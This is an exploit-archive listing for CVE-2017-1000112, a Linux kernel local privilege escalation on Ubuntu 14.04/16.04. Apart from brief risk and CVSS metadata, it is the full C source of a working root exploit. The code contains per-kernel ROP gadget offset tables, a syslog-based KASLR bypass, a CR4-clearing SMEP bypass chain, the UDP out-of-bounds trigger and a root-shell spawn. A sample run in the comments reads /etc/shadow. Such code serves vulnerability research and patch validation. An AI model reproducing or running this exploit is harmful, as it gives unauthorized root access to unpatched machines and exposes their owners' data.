Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04 and 16.04) Local Privilege Escalation

2018.01.03
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

// A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. No SMAP bypass. // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux // user@ubuntu:~$ whoami // user // user@ubuntu:~$ id // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] checking distro and kernel versions // [.] kernel version '4.8.0-58-generic' detected // [~] done, versions looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [~] done, kernel text: ffffffffae400000 // [.] commit_creds: ffffffffae4a5d20 // [.] prepare_kernel_cred: ffffffffae4a6110 // [.] SMEP bypass enabled, mmapping fake stack // [~] done, fake stack mmapped // [.] executing payload ffffffffae40008d // [~] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# whoami // root // root@ubuntu:/home/user# id // uid=0(root) gid=0(root) groups=0(root) // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // sys:*:17212:0:99999:7::: // ... // // EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1 // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <assert.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/socket.h> #include <netinet/ip.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/utsname.h> #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_BYPASS 1 // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xchg_eax_esp_ret; uint64_t pop_rdi_ret; uint64_t mov_dword_ptr_rdi_eax_ret; uint64_t mov_rax_cr4_ret; uint64_t neg_rax_ret; uint64_t pop_rcx_ret; uint64_t or_rax_rcx_ret; uint64_t xchg_eax_edi_ret; uint64_t mov_cr4_rdi_ret; uint64_t jmp_rcx; }; struct kernel_info kernels[] = { { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) // Used when ENABLE_SMEP_BYPASS is used. // - xchg eax, esp ; ret // - pop rdi ; ret // - mov dword ptr [rdi], eax ; ret // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret // - neg rax ; ret // - pop rcx ; ret // - or rax, rcx ; ret // - xchg eax, edi ; ret // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret // - jmp rcx #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); void get_root(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); } // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * uint64_t saved_esp; // Unfortunately GCC does not support `__atribute__((naked))` on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload: \n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx \n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ call get_root \n\ ret \n\ " : : "m"(saved_esp) : ); } void payload(); #define CHAIN_SAVE_ESP \ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_esp; \ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define SMEP_MASK 0x100000 #define CHAIN_DISABLE_SMEP \ *stack++ = MOV_RAX_CR4_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = POP_RCX_RET; \ *stack++ = SMEP_MASK; \ *stack++ = OR_RAX_RCX_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = XCHG_EAX_EDI_RET; \ *stack++ = MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload; \ *stack++ = JMP_RCX; void mmap_stack() { uint64_t stack_aligned, stack_addr; int page_size, stack_size, stack_offset; uint64_t* stack; page_size = getpagesize(); stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); stack_addr = stack_aligned - page_size * 4; stack_size = page_size * 8; stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED || stack != (void*)stack_addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } stack = (uint64_t*)((char*)stack_aligned + stack_offset); CHAIN_SAVE_ESP; CHAIN_DISABLE_SMEP; CHAIN_JMP_PAYLOAD; } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 void mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); exit(EXIT_FAILURE); } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); exit(EXIT_FAILURE); } } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); exit(EXIT_FAILURE); } int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xffffffffff000000ul; return r; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); exit(EXIT_FAILURE); } int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } unsigned long get_kernel_addr() { char* syslog; int size; mmap_syslog(&syslog, &size); if (strcmp("trusty", kernels[kernel].distro) == 0 && strncmp("4.4.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0 && strncmp("4.8.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_xenial(syslog, size); printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* buffer, unsigned long func) { struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; memset(ssi, 0, sizeof(*ssi)); ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = func; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define SHINFO_OFFSET 3164 void oob_execute(unsigned long payload) { char buffer[4096]; memset(&buffer[0], 0x42, 4096); init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { perror("[-] socket()"); exit(EXIT_FAILURE); } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8000); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (void*)&addr, sizeof(addr))) { perror("[-] connect()"); exit(EXIT_FAILURE); } int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); int rv = send(s, buffer, size, MSG_MORE); if (rv != size) { perror("[-] send()"); exit(EXIT_FAILURE); } int val = 1; rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); if (rv != 0) { perror("[-] setsockopt(SO_NO_CHECK)"); exit(EXIT_FAILURE); } send(s, buffer, 1, 0); close(s); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } #define LSB_RELEASE_LENGTH 1024 void get_distro_codename(char* output, int max_length) { char buffer[LSB_RELEASE_LENGTH]; int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); if (length == -1) { perror("[-] open/read(/etc/lsb-release)"); exit(EXIT_FAILURE); } const char *needle = "DISTRIB_CODENAME="; int needle_length = strlen(needle); char* found = memmem(&buffer[0], length, needle, needle_length); if (found == NULL) { printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); exit(EXIT_FAILURE); } int i; for (i = 0; found[needle_length + i] != '\n'; i++) { assert(i < max_length); assert((found - &buffer[0]) + needle_length + i < length); output[i] = found[needle_length + i]; } } void get_kernel_version(char* output, int max_length) { struct utsname u; int rv = uname(&u); if (rv != 0) { perror("[-] uname())"); exit(EXIT_FAILURE); } assert(strlen(u.release) <= max_length); strcpy(&output[0], u.release); } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define DISTRO_CODENAME_LENGTH 32 #define KERNEL_VERSION_LENGTH 32 void detect_versions() { char codename[DISTRO_CODENAME_LENGTH]; char version[KERNEL_VERSION_LENGTH]; get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(&version[0], kernels[i].version) == 0) { printf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } printf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { perror("[-] open/read(/proc/cpuinfo)"); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); if (rv >= 2) { printf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } #if !ENABLE_SMEP_BYPASS if (rv >= 1) { printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); exit(EXIT_FAILURE); } #endif } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { printf("[!] unprivileged user namespaces are not available\n"); perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo mtu 1500") != 0) { perror("[-] system(/sbin/ifconfig lo mtu 1500)"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("[-] system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } } void exec_shell() { char* shell = "/bin/bash"; char* args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); return; } printf("[+] got r00t ^_^\n"); exec_shell(); } int main(int argc, char** argv) { printf("[.] starting\n"); printf("[.] checking distro and kernel versions\n"); detect_versions(); printf("[~] done, versions looks good\n"); printf("[.] checking SMEP and SMAP\n"); check_smep_smap(); printf("[~] done, looks good\n"); printf("[.] setting up namespace sandbox\n"); setup_sandbox(); printf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS printf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); printf("[~] done, kernel text: %lx\n", KERNEL_BASE); #endif printf("[.] commit_creds: %lx\n", COMMIT_CREDS); printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); unsigned long payload = (unsigned long)&get_root; #if ENABLE_SMEP_BYPASS printf("[.] SMEP bypass enabled, mmapping fake stack\n"); mmap_stack(); payload = XCHG_EAX_ESP_RET; printf("[~] done, fake stack mmapped\n"); #endif printf("[.] executing payload %lx\n", payload); oob_execute(payload); printf("[~] done, should be root now\n"); check_root(); return 0; }


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